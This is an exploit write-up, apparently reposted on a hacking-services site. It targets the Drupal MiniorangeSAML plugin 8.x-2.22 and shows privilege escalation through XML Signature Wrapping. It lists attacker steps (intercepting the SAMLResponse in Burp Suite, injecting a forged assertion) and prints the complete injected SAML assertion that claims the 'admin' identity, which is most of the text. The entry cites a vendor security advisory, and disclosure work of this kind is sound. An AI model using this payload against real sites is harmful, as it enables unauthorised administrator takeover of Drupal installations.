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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation via XML Signature Wrapping
# Date: 09/07/2021
# Exploit Author: Cristian 'void' Giustini
# Vendor Homepage: https://www.miniorange.com/
# Software Link: https://www.drupal.org/project/miniorange_saml
# Version: 8.x-2.22 (REQUIRED)
# Tested on: Linux Debian (PHP 8.0.7 with Apache/2.4.38)
# Original article:  https://blog.hacktivesecurity.com/index.php/2021/07/09/sa-contrib-2021-036-notsosaml-privilege-escalation-via-xml-signature-wrapping-on-minorangesaml-drupal-plugin/
# Drupal Security Advisory URL: https://www.drupal.org/sa-contrib-2021-036

---

The MiniorangeSAML Drupal Plugin v. 8.x-2.22 is vulnerable to XML 
Signature Wrapping Attacks that could allows an attacker to perform 
privilege escalation attacks.

In order to exploit the vulnerability, the plugin must be configured 
with the "Either SAML reponse or SAML assertion must be signed" options 
enabled and an empty "x509 certificate".

Administrator point of view:

- Install a Drupal version (for the PoC the version 9.1.10 has been used)

- Configure an external SSO system like Auth0

- Configure the plugin with the Auth0 provider by checking the "Either 
SAML response or SAML assertion must be signed" and empty "x509 certificate"


Attacker point of view:

- Register a normal user on the website

- Perform a login

- Intercept the request with Burp Suite and decode the SAMLResponse 
parameter

- Inject an additional <Saml:Assertion> object before the original one 
(example here: 
https://gist.github.com/voidz0r/30c0fb7be79abf8c79d1be9d424c9e3b#file-injected_object-xml) 
(SAMLRaider Burp extension, XSW3 payload)

<saml:Assertion ID="_evil_assertion_ID" IssueInstant="2021-06-23T21:04:01.551Z" Version="2.0"
 xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
 <saml:Issuer>urn:miniorange-research.eu.auth0.com</saml:Issuer>
 <saml:Subject>
 <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">admin</saml:NameID>
 <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
 <saml:SubjectConfirmationData InResponseTo="_f1e26bb0bd40be366c543e2c3fe0215747f40dadbb" NotOnOrAfter="2021-06-23T22:04:01.551Z" Recipient="http://localhost:8080/samlassertion"/>
 </saml:SubjectConfirmation>
 </saml:Subject>
 <saml:Conditions NotBefore="2021-06-23T21:04:01.551Z" NotOnOrAfter="2021-06-23T22:04:01.551Z">
 <saml:AudienceRestriction>
 <saml:Audience>http://localhost:8080</saml:Audience>
 </saml:AudienceRestriction>
 </saml:Conditions>
 <saml:AuthnStatement AuthnInstant="2021-06-23T21:04:01.551Z" SessionIndex="_WWwvhpmMv5eJI4bwPdsPAiasFpTH8gt_">
 <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
 </saml:AuthnContext>
 </saml:AuthnStatement>
 <saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
 <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/identities/default/connection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">Username-Password-Authentication</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/identities/default/provider" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">auth0</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/identities/default/isSocial" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:boolean">false</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/clientID" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">8bbK44pPnBAqzN49pSuwmgdhgsZavkNI</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/created_at" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:anyType">Wed Jun 23 2021 21:01:51 GMT+0000 (Coordinated Universal Time)</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/email_verified" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:boolean">false</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/nickname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/picture" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
 <saml:AttributeValue xsi:type="xs:string">https://s.gravatar.com/avatar/55502f40dc8b7c769880b10874abc9d0?s=480&r=pg&d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fte.png</saml:AttributeValue>
 </saml:Attribute>
 <saml:Attribute Name="http://schemas.auth0.com/updated_at" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

 <saml:AttributeValue xsi:type="xs:anyType">Wed Jun 23 2021 21:01:51 GMT+0000 (Coordinated Universal Time)</saml:AttributeValue>

 </saml:Attribute>

 </saml:AttributeStatement>

</saml:Assertion>

- Replace the username with one with higher privileges (like admin)

- Submit the request

- Successful exploitation